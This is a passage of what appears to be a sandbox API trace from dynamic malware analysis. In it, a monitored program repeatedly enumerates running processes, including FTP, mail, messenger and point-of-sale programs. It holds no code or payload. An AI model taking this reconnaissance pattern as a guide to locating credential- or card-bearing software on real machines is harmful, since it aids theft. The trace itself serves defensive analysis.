th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0103.953] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0103.955] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0103.957] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0103.959] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0103.961] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0103.963] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0103.965] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0103.967] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0103.969] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0103.971] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0103.973] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0103.975] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0103.977] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0103.979] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0103.981] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0103.983] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0103.985] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0103.987] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0104.116] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0104.119] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0104.121] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0104.123] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0104.126] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0104.128] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0104.131] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0104.133] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0104.135] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0104.138] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0104.140] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0104.143] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0104.146] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0104.149] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0104.151] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0104.154] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0104.157] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0104.229] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0104.232] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0104.235] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0104.238] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0104.240] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0104.243] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0104.246] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0104.248] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0104.251] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0104.254] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0104.256] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0104.259] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0104.261] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0104.264] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0104.266] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0104.275] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0104.277] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0104.280] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0104.283] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0104.285] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0104.288] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0104.290] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0104.293] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0104.295] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0104.297] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0104.299] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0104.302] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0104.304] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0104.306] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0104.308] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0104.310] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0104.312] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0104.315] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0104.324] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0104.326] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0104.328] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0104.330] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0104.332] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0104.334] CloseHandle (hObject=0x2064) returned 1 [0104.335] Sleep (dwMilliseconds=0x64) [0104.443] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2068 [0104.458] Process32First (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.461] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0104.463] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0104.465] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.467] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0104.469] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.471] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0104.474] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0104.476] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0104.478] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.480] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 